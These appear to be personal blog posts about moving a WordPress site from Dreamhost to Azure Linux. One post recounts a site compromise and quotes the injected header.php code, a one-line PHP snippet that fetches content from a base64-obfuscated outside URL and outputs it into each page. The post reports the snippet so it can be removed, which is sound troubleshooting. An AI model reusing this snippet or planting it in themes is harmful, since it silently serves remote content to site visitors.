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Setup WordPress on Linux in Azure

Every since Dreamhost started pushing my buttons with less than sub-par service, dead slow loading speeds and pointing fingers at WordPress plugins and themes I was using, I’ve been looking at alternatives for my hosting needs.

Among some of the options are Amazon and Azure Cloud offerings.

Content:

Microsoft’s Azure service has 2 huge advantages, in my opinion:

  1. Easier management interface
  2. 30 day credit so you can try service and even know how much would it cost you.

Amazon has free for 1 year program, which allows you to use their Small VM for free for a period of one year. But if you would like to try larger instances you would have to pay out of your own pocket. Which one to select will depend on your plan of migration. For me, Azure was the way to go.

These instructions are for Azure Linux installations, but they could also be used on Amazon AWS though some steps might require additional setup.

So let’s start.

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Moving site to Azure

On multiple occasions I’ve experienced not-satisfactory service from Dreamhost. My last experience, when my Dreampress VM got compromised, many additional .php files were added and Dreamhost has not been helpful remedying situation, put a last nail in that coffin – I’ve decided to move my services.

Since I’ve been working with Azure services for the last 8-9 months, I’ve decided to give that a try. Setting up Linux VM was easy. Setting up WordPress installation was a bit challenging, but not impossible.

I will publish instructions in a near future for those who cares, but mostly for my own documentation.

Next is my photography site www.antonshoots.com

Rogue code and 403 saga

If you have visited my site lately, you would have noticed 403 Forbidden error in the header for the past several days. Well it took me almost two days to figure it out and finally resolve it.

While I’m in the process of moving my hosting away from DreamHost to Azure, it’s that process itself that actually helped me pinpoint the reason behind, stumble upon this article and finally solve it all.

It looks like website was compromised and piece of code was added to theme’s header.php file:

<?php $ch=curl_init();curl_setopt($ch,CURLOPT_URL,base64_decode('aHR0cDovL3FkZ3ZzdC5jb20vbC5waHA='));curl_setopt($ch,CURLOPT_HEADER,0);curl_exec($ch);curl_close($ch);?>

Removing this code completely from theme header.php file solved my problem.